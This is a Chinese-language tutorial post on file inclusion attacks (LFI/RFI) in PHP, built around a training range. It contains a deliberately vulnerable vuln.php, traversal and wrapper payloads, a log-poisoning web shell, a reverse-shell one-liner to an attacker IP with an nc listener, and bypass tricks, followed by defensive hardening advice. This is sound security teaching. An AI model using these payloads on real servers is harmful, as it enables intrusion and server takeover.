三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

Web安全实战:从文件包含漏洞到远程代码执行(RFI/LFI攻击链深度解析)

Web安全实战:从文件包含漏洞到远程代码执行(RFI/LFI攻击链深度解析)

如果你是一名Web安全工程师,或者正在学习渗透测试,那么“文件包含”这个漏洞你一定不陌生。它不像SQL注入那样直接,也不像XSS那样直观,但它的危害性却常常被低估。很多人以为文件包含只是“读取本地文件”,但实际上,它是一扇通往服务器内部的后门,轻则泄露源码、配置文件,重则配合其他漏洞实现远程代码执行,直接拿下服务器权限。

今天这篇文章,我们不谈宽泛的理论,而是聚焦于一个更隐蔽、更危险的变种:远程文件包含(RFI)。我们将通过一个实战靶场环境(青岑网安Web文件包含-3),彻底拆解RFI的攻击原理、利用条件、绕过手法以及最关键的——防御之道。你会发现,仅仅禁用allow_url_include是远远不够的。

读完本文,你将能:

  1. 透彻理解本地文件包含(LFI)与远程文件包含(RFI)的本质区别与联系。
  2. 亲手实践在受控靶场中,从信息泄露到获取WebShell的完整攻击链。
  3. 掌握多种针对过滤和限制的绕过技巧(如协议利用、日志污染、Session文件包含)。
  4. 建立一套从代码层到配置层的立体防御思路,而不仅仅是记住几个安全函数。

1. 文件包含漏洞:被低估的“内鬼”

在深入远程文件包含之前,我们必须先统一认知:文件包含漏洞到底是什么?它为什么危险?

简单来说,文件包含是指程序在引入外部文件时,未对用户输入进行严格过滤,导致攻击者可以控制包含的文件路径。这主要发生在使用如PHP的includerequireinclude_oncerequire_once等函数时。

它的危害远不止“读取文件”:

  • 敏感信息泄露:读取/etc/passwd、数据库配置文件、源码文件等。
  • 配合上传漏洞获取WebShell:上传一个图片马,然后通过文件包含执行其中的PHP代码。
  • 远程代码执行(RCE):在满足RFI条件时,直接包含远程服务器上的恶意脚本。
  • 攻击面扩大:作为跳板,读取服务器上的其他敏感文件,或进行内网探测。

很多人容易混淆LFI和RFI:

  • LFI (Local File Inclusion):只能包含服务器本地的文件。危害相对可控,但结合其他漏洞(如文件上传、日志写入)可以升级为RCE。
  • RFI (Remote File Inclusion):可以直接包含远程URL(如http://evil.com/shell.txt)上的文件,并将其内容作为代码执行。这是最直接的RCE方式。

一个核心判断:RFI的利用条件比LFI苛刻得多,但一旦成功,危害是立竿见影的。而现代PHP环境的默认配置正在让RFI变得越来越难,但这绝不意味着我们可以忽视它。攻击者总会找到那些配置不当或使用了危险函数的“薄弱环节”。

2. 靶场环境搭建与核心概念

为了进行安全的实战学习,我们使用“青岑网安Web文件包含-3”这个靶场(或类似的自建环境)。请务必在虚拟机或隔离的测试环境中进行所有操作,切勿对任何未授权的真实系统进行测试。

2.1 环境准备

  • 操作系统: Kali Linux 或 Ubuntu(用于攻击机),或使用集成了Web服务和漏洞的靶机(如DVWA、Web for Pentester)。
  • Web服务: Apache / Nginx。
  • PHP版本: 建议5.x 或 7.x(某些老版本特性有助于理解漏洞演变)。关键配置:为了演示RFI,我们需要在php.ini中开启两个选项(仅在测试环境!):
    allow_url_fopen = On allow_url_include = On
    在生产环境中,allow_url_include必须为Off
  • 靶场代码(示例,模拟漏洞场景): 假设存在一个脆弱的PHP文件vuln.php
    <?php // vuln.php - 存在文件包含漏洞 $file = $_GET['file']; // 未经过滤的用户输入 include($file . '.php'); // 动态包含文件,并添加了.php后缀 ?>
    另一个用于演示日志污染的文件index.php
    <?php // index.php - 正常业务页面 echo "Welcome to the vulnerable site!"; ?>

2.2 核心原理深度解析

为什么include一个远程URL会导致代码执行? 这源于PHP的设计:当allow_url_include开启时,includerequire等函数不仅接受本地文件路径,也接受诸如http://ftp://等URL包装器(Wrapper)。PHP会通过HTTP/FTP协议去获取该URL的内容,然后将获取到的内容当作PHP代码来解析和执行

关键点:被包含文件的内容会被执行,而不是显示。所以,如果http://evil.com/shell.txt的内容是<?php phpinfo(); ?>,那么包含这个URL就等同于在目标服务器上执行了phpinfo()

3. 实战攻击链拆解:从LFI到RCE

我们假设靶场环境同时存在文件包含和文件上传点,或者存在日志记录功能。这是非常经典的组合拳。

3.1 第一阶段:基础LFI与敏感信息探测

首先,测试漏洞是否存在。

http://target/vuln.php?file=../../../../etc/passwd

如果成功返回了系统用户列表,说明存在LFI漏洞。接下来,我们可以尝试读取Web应用的敏感文件:

  • 配置文件../../var/www/html/config.php
  • PHP自身信息: 使用php://filter包装器读取源码(这是LFI中极其重要的技巧):
    http://target/vuln.php?file=php://filter/convert.base64-encode/resource=vuln.php
    这里利用php://filtervuln.php本身进行Base64编码后读取,可以绕过一些显示限制,拿到源码后解码分析。

3.2 第二阶段:尝试直接RFI

直接测试RFI是否可行。我们在攻击机上(IP: 192.168.1.100)创建一个内容为<?php echo “RFI Success!”; ?>的文本文件test.txt,并用Python启动一个简单的HTTP服务:

# 在攻击机上 echo '<?php echo "RFI Success!"; ?>' > shell.txt python3 -m http.server 8080

然后尝试包含它:

http://target/vuln.php?file=http://192.168.1.100:8080/shell.txt

如果页面显示了“RFI Success!”,恭喜你(也是不幸的),RFI直接利用成功。这意味着服务器配置极其危险。

但更常见的情况是失败,因为靶场或生产环境通常禁用了allow_url_include。你会看到类似“URL file-access is disabled”的警告。

3.3 第三阶段:利用LFI向RFI升级——日志文件包含

当直接RFI被禁用时,攻击者不会放弃。一个经典的方法是“日志文件包含攻击”。

原理:Web服务器(如Apache)会将所有访问请求记录在日志文件中(如/var/log/apache2/access.log)。如果我们在User-Agent或请求路径中插入PHP代码,这段代码就会被原样写入日志文件。然后,我们利用LFI漏洞去包含这个日志文件,服务器就会执行我们写入的代码。

攻击步骤

  1. 污染日志:使用curl或Burp Suite发送一个特殊的请求,将PHP代码注入到User-Agent头中。
    # 在攻击机上执行 curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
    这条命令访问了index.php,但User-Agent被替换成了我们的WebShell代码。
  2. 包含日志文件:利用LFI漏洞,包含Apache的访问日志。
    http://target/vuln.php?file=../../../../var/log/apache2/access.log
    如果成功,你会看到一长串日志内容,其中包含我们注入的代码。
  3. 执行命令:现在,日志文件已经被我们“污染”,它变成了一个存储在我们标服务器上的“恶意PHP文件”。我们再次包含它,并通过cmd参数传递系统命令。
    http://target/vuln.php?file=../../../../var/log/apache2/access.log&cmd=id
    如果一切顺利,页面将返回uid=33(www-data) gid=33(www-data) groups=33(www-data)这样的命令执行结果。

关键点:这种方法成功的关键在于:

  • 你知道日志文件的绝对路径(需要探测)。
  • Web进程(如www-data用户)有权限读取该日志文件。
  • 日志文件中没有特殊字符被转义(通常不会)。

3.4 第四阶段:利用PHP内置包装器(Wrapper)绕过限制

即使不能包含远程URL,PHP内置的一些包装器也能帮我们“创造”执行代码的条件。除了上面用到的php://filter用于读取,还有php://inputdata://

1. 使用php://input执行POST代码php://input允许你读取原始的POST数据。如果allow_url_include是Off,但allow_url_fopen是On(更常见的配置),且目标服务器没有禁用php://input,则可以尝试。

# 请求示例 (使用curl) curl -X POST "http://target/vuln.php?file=php://input" --data "<?php phpinfo(); ?>"

这个请求会将POST数据<?php phpinfo(); ?>作为文件内容传递给include函数,从而被执行。

2. 使用data://协议直接嵌入代码data://协议允许在URL中直接嵌入Base64编码的数据。

http://target/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

其中PD9waHAgcGhwaW5mbygpOyA/Pg==<?php phpinfo(); ?>的Base64编码。这相当于在参数里直接携带了一个可执行的文件,完全绕过了对远程URL的依赖。

注意data://协议的使用通常也受到allow_url_include设置的影响,但在某些特定配置或版本下可能存在利用空间。

4. 完整攻击示例:获取反向Shell

理论讲完,我们来一个完整的、贴近实战的示例:通过LFI+日志污染,获取一个反向Shell。

场景:目标存在LFI漏洞 (vuln.php),且我们已知Apache日志路径。

步骤

  1. 探测与确认:首先用LFI读取/etc/passwd确认漏洞。
  2. 注入WebShell代码:向日志中注入一个更强大的WebShell。
    curl -A '<?php $sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");?>' http://target/
    这段代码会尝试连接到攻击机(192.168.1.100)的4444端口,并派生一个交互式shell。
  3. 在攻击机开启监听
    nc -lvnp 4444
  4. 触发代码执行:利用LFI包含被污染的日志文件,触发反向连接。
    http://target/vuln.php?file=../../../../var/log/apache2/access.log
  5. 查看攻击机终端:如果成功,你会在nc监听窗口看到来自目标服务器的shell连接。

至此,你已经完成了从文件读取到完全控制服务器的整个攻击链。

5. 常见问题、限制与绕过技巧

在实际渗透中,绝不会一帆风顺。你会遇到各种过滤和限制。

5.1 路径遍历过滤

开发者可能过滤../

  • 双写绕过....//-> 被过滤一次后变成../
  • 绝对路径: 直接使用/etc/passwd
  • 编码绕过: URL编码../->%2e%2e%2f..%2f, 甚至双重编码%252e%252e%252f

5.2 后缀限制

像我们靶场代码那样,自动添加.php后缀 (include($file . '.php'))。

  • 空字节截断(PHP<5.3)../../../etc/passwd%00%00会在字符串处理时截断后面的.php。此方法在PHP高版本已失效。
  • 路径长度截断(PHP<5.3, OS限制): 超长文件名可能导致系统截断。
  • 利用php://filter: 包装器后不需要后缀。php://filter/convert.base64-encode/resource=config可以读取config.php
  • 利用目录遍历: 如果包含uploads/目录下的文件,可以../../../uploads/shell.jpg, 只要shell.jpg内含PHP代码且服务器配置错误(如未正确处理MIME类型),仍可能被解析。

5.3 协议限制

服务器可能禁用php://data://等包装器。

  • 尝试其他包装器file://zip://(结合上传zip包)、phar://(PHP归档,非常强大)。
  • 聚焦于日志、Session、环境变量等“本地文件”包含: 这是最可靠的绕过方式。

5.4 Session文件包含

这是另一个高级技巧。PHP的Session数据通常存储在服务器临时目录(如/tmp/sess_[PHPSESSID])的一个文件里。如果攻击者能控制一部分Session数据(例如,某个表单字段会存入$_SESSION),并且知道PHPSESSID,就可以向Session文件写入PHP代码,然后通过LFI包含它。

  1. 设置Cookie:PHPSESSID=attacker
  2. 向一个会保存数据到Session的页面提交数据:username=<?php phpinfo();?>
  3. 猜测或确定Session文件路径:/tmp/sess_attacker
  4. 包含该文件:vuln.php?file=../../../tmp/sess_attacker

6. 防御指南:构建多层次防线

防御文件包含漏洞,必须从多个层面着手,形成纵深防御。

6.1 代码层(治本之策)

  • 白名单校验:这是最有效的方法。不要使用用户输入直接拼接文件路径。应该使用一个固定的映射数组。
    // 错误示范 $page = $_GET['page']; include($page . '.php'); // 正确示范 - 白名单 $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); }
  • 避免动态包含:如果业务必须动态包含,请使用basename()函数去除路径,或严格过滤输入。
    $file = basename($_GET['file']); // 只能得到文件名,去除了目录遍历 // 但仍需结合白名单,因为basename(‘../../etc/passwd’) 返回 ‘passwd’
  • 使用安全的API:考虑使用框架提供的安全视图加载方法。

6.2 配置层(重要加固)

  • 关闭危险配置:在php.ini中,确保:
    allow_url_fopen = Off # 视业务需求,但关闭更安全 allow_url_include = Off # 必须关闭!
  • 设置open_basedir:将PHP可访问的文件限制在Web目录及其子目录下。
    open_basedir = /var/www/html
    这能有效防止读取/etc/passwd等系统文件。
  • 限制包装器: 在高安全要求环境中,可以通过disable_functions或修改PHP源码来禁用php://data://等危险包装器(需谨慎,可能影响正常功能)。

6.3 系统与运维层

  • Web服务器权限最小化:运行Web服务的用户(如www-data)应仅拥有对Web目录的必要读写权限,无权读取系统关键文件。
  • 日志文件权限:确保Web用户对日志文件只有追加写入权限,没有读取权限。这可以彻底封堵日志包含攻击。但要注意这可能影响日志分析工具。
  • 定期更新与审计:及时更新PHP、Web服务器及应用程序,修复已知漏洞。定期进行代码安全审计。

6.4 安全开发框架与习惯

  • 使用具有良好安全实践的现代PHP框架(如Laravel, Symfony),它们通常对文件包含、路径遍历有内置防护。
  • 在团队中推行安全编码规范,将“禁止未过滤的动态文件包含”作为红线。

7. 总结与后续学习方向

文件包含漏洞,尤其是其从LFI到RCE的升级路径,生动地展示了“小漏洞大危害”的道理。它考验的不仅是开发者的安全编码意识,更是运维人员的纵深防御配置能力。

通过本次对“青岑网安Web文件包含-3”这类靶场的深度剖析,你应该已经掌握了:

  • 攻击视角:如何利用LFI探测信息,如何通过日志/Session污染将其升级为RCE,以及如何绕过常见的过滤限制。
  • 防御视角:为什么白名单是唯一可靠的方法,以及如何从代码、配置、系统三层构建防御体系。

后续你可以深入研究

  1. PHP包装器的其他妙用(与滥用): 如zip://phar://在反序列化漏洞中的利用。
  2. 文件包含与文件上传的“组合技”: 如何精确上传一个能被包含执行的恶意文件(如图片马)。
  3. 在现代化框架与应用中挖掘文件包含: 虽然框架提供了防护,但错误的使用方式或自定义组件仍可能引入风险。
  4. 自动化工具中的利用: 学习如何使用Burp Suite、Sqlmap(其--file-read参数)等工具自动化探测和利用文件包含漏洞。

安全是一个攻防对抗不断升级的过程。理解攻击链的每一个环节,是我们构建有效防御的最坚实基础。建议你将本文中的靶场环境搭建起来,亲手复现每一个步骤,这远比阅读理论印象更深刻。在确保合法授权的前提下,不断练习,才能将这些知识内化为真正的技能。

← 返回列表